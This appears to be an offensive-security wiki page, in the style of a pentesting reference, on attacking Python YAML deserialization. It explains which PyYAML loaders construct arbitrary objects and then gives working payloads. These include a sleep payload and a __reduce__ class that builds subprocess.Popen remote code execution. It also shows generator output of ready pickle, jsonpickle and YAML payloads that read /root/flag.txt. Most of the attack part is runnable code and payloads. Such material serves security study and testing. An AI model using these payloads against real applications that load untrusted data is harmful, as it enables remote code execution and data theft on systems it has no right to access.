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123 lines
4.3 KiB
Markdown
123 lines
4.3 KiB
Markdown
# Python Yaml Deserialization
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## Yaml **Deserialization**
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**Yaml** python libraries is also capable to **serialize python objects** and not just raw data:
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```
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print(yaml.dump(str("lol")))
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lol
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...
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print(yaml.dump(tuple("lol")))
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!!python/tuple
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- l
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- o
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- l
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print(yaml.dump(range(1,10)))
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!!python/object/apply:builtins.range
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- 1
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- 10
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- 1
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```
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Check how the **tuple** isn’t a raw type of data and therefore it was **serialized**. And the same happened with the **range** (taken from the builtins).
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.png>)
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**safe\_load()** or **safe\_load\_all()** uses SafeLoader and **don’t support class object deserialization**. Class object deserialization example:
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```python
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import yaml
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from yaml import UnsafeLoader, FullLoader, Loader
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data = b'!!python/object/apply:builtins.range [1, 10, 1]'
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print(yaml.load(data, Loader=UnsafeLoader)) #range(1, 10)
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print(yaml.load(data, Loader=Loader)) #range(1, 10)
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print(yaml.load_all(data)) #<generator object load_all at 0x7fc4c6d8f040>
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print(yaml.load_all(data, Loader=Loader)) #<generator object load_all at 0x7fc4c6d8f040>
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print(yaml.load_all(data, Loader=UnsafeLoader)) #<generator object load_all at 0x7fc4c6d8f040>
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print(yaml.load_all(data, Loader=FullLoader)) #<generator object load_all at 0x7fc4c6d8f040>
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print(yaml.unsafe_load(data)) #range(1, 10)
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print(yaml.full_load_all(data)) #<generator object load_all at 0x7fc4c6d8f040>
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print(yaml.unsafe_load_all(data)) #<generator object load_all at 0x7fc4c6d8f040>
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#The other ways to load data will through an error as they won't even attempt to
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#deserialize the python object
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```
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The previous code used **unsafe\_load** to load the serialized python class. This is because in **version >= 5.1**, it doesn’t allow to **deserialize any serialized python class or class attribute**, with Loader not specified in load() or Loader=SafeLoader.
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### Basic Exploit
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Example on how to **execute a sleep**:
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```python
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import yaml
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from yaml import UnsafeLoader, FullLoader, Loader
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data = b'!!python/object/apply:time.sleep [2]'
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print(yaml.load(data, Loader=UnsafeLoader)) #Executed
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print(yaml.load(data, Loader=Loader)) #Executed
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print(yaml.load_all(data))
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print(yaml.load_all(data, Loader=Loader))
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print(yaml.load_all(data, Loader=UnsafeLoader))
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print(yaml.load_all(data, Loader=FullLoader))
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print(yaml.unsafe_load(data)) #Executed
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print(yaml.full_load_all(data))
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print(yaml.unsafe_load_all(data))
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```
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## RCE
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Kindly note payload creation can be done with **any python YAML module (PyYAML or ruamel.yaml), in the same way**. The same payload can exploit both YAML module or any module based on PyYAML or ruamel.yaml
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```python
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import yaml
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from yaml import UnsafeLoader, FullLoader, Loader
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import subprocess
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class Payload(object):
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def __reduce__(self):
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return (subprocess.Popen,('ls',))
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deserialized_data = yaml.dump(Payload()) # serializing data
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print(deserialized_data)
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#!!python/object/apply:subprocess.Popen
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#- ls
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print(yaml.load(deserialized_data, Loader=UnsafeLoader))
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print(yaml.load(deserialized_data, Loader=Loader))
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print(yaml.unsafe_load(deserialized_data))
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```
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### Tool to create Payloads
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The tool [https://github.com/j0lt-github/python-deserialization-attack-payload-generator](https://github.com/j0lt-github/python-deserialization-attack-payload-generator) can be used to generate python deserialization payloads to abuse **Pickle, PyYAML, jsonpickle and ruamel.yaml:**
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```bash
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python3 peas.py
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Enter RCE command :cat /root/flag.txt
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Enter operating system of target [linux/windows] . Default is linux :linux
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Want to base64 encode payload ? [N/y] :
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Enter File location and name to save :/tmp/example
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Select Module (Pickle, PyYAML, jsonpickle, ruamel.yaml, All) :All
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Done Saving file !!!!
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cat /tmp/example_jspick
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{"py/reduce": [{"py/type": "subprocess.Popen"}, {"py/tuple": [{"py/tuple": ["cat", "/root/flag.txt"]}]}]}
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cat /tmp/example_pick | base64 -w0
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gASVNQAAAAAAAACMCnN1YnByb2Nlc3OUjAVQb3BlbpSTlIwDY2F0lIwOL3Jvb3QvZmxhZy50eHSUhpSFlFKULg==
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cat /tmp/example_yaml
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!!python/object/apply:subprocess.Popen
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- !!python/tuple
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- cat
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- /root/flag.txt
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```
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## References
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For more in depth information about this technique read: [https://www.exploit-db.com/docs/english/47655-yaml-deserialization-attack-in-python.pdf](https://www.exploit-db.com/docs/english/47655-yaml-deserialization-attack-in-python.pdf)
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